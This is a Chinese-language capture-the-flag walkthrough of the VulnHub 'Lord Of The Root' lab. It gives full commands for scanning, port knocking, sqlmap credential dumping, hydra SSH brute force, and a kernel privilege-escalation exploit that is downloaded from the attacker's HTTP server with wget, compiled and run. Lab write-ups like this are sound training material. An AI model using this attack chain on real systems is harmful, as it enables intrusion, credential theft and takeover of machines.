Lord Of The Root: 1.0.1通关
Lord Of The Root: 1.0.1
来自 <Lord Of The Root: 1.0.1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.247
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.247
发现只有22端口开放了ssh服务,那就只能访问看看
1. 确认端口敲击需求
- 目标服务器可能隐藏了其他服务的端口,需通过预定义的端口序列敲门才能临时开放。
- 常见序列示例:7000,8000,9000(TCP/UDP)或动态组合(需信息收集)。
2. knock自动化工具测试端口敲击
sudo apt install knockd
knock -v 192.168.23.247 1 2 3
nmap -sV -T4 -p- -A 192.168.23.247
这次就能够成功扫描出来端口号
4,然后再访问1337端口的http服务
扫描网站存在的子目录
dirsearch -u http://192.168.23.247:1337 -x 403,404,301
http://192.168.23.247:1337/404.html
查看源代码复现一个base64编码的字符串
经过两次base64解码得到一个文件路径
访问之后发现是一个登录页面
http://192.168.23.247:1337/978345210/index.php
5,对网页进行信息收集和漏洞验证
没有明显的特征,因为是一个登录框,尝试结合burpsuite手工注入验证有无sql注入
(需要使用powershell脚本在window上面敲击一下1,2,3端口,否则无法正常访问1337端口的web服务)
# 保存为 Knock-Ports.ps1,右键以管理员身份运行 $target = "192.168.23.247" $ports = @(1, 2, 3) # 修改为猜测的端口序列 foreach ($port in $ports) { try { $socket = New-Object System.Net.Sockets.TcpClient $socket.ConnectAsync($target, $port).Wait(100) # 100ms超时 Write-Host "[+] SYN sent to port $port" } catch { Write-Host "[!] Failed to send SYN to port $port" } finally { $socket.Close() } } |
敲击之后访问成功
抓一个POST请求包
还是直接偷懒使用sqlmap扫描一下
sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms --batch
sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms --batch --dbs
sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms --batch -D Webapp --tables
sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms --batch -D Webapp -T Users --columns
sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms -D Webapp -T Users --dump --bacth
成功得到一堆账户密码
iwilltakethering/frodo
MyPreciousR00t/smeagol
AndMySword/aragorn
AndMyBow/legolas
AndMyAxe/gimli
6,将这些账户密码写入字典进行ssh爆破
hydra -L username.txt -P password.txt 192.168.23.247 ssh
ssh登录成功 smeagol/MyPreciousR00t
ssh smeagol@192.168.23.247
7,信息收集一下
sudo -l
find / -perm -4000 -type f 2>/dev/null
/SECRET/door1/file
/SECRET/door2/file
/SECRET/door3/file
- 这些文件非常规系统文件,可能是靶场故意设置的提权点。
- 检查文件属性和类型:
ls -l /SECRET/door*/file
file /SECRET/door*/file
8,还是尝试使用内核提权exp脚本
searchsploit ubuntu 14.04
使用39166.c进行提权
searchsploit -m 39166.c
然后在kali上面开启一个http服务,控制靶机下载这个攻击脚本
python -m http.server
wget http://192.168.23.182:8000/39166.c
gcc进行编译给文件777权限
gcc 39166.c -o 39166
chmod 777 39166
./39166
提权成功成为root用户,得到flag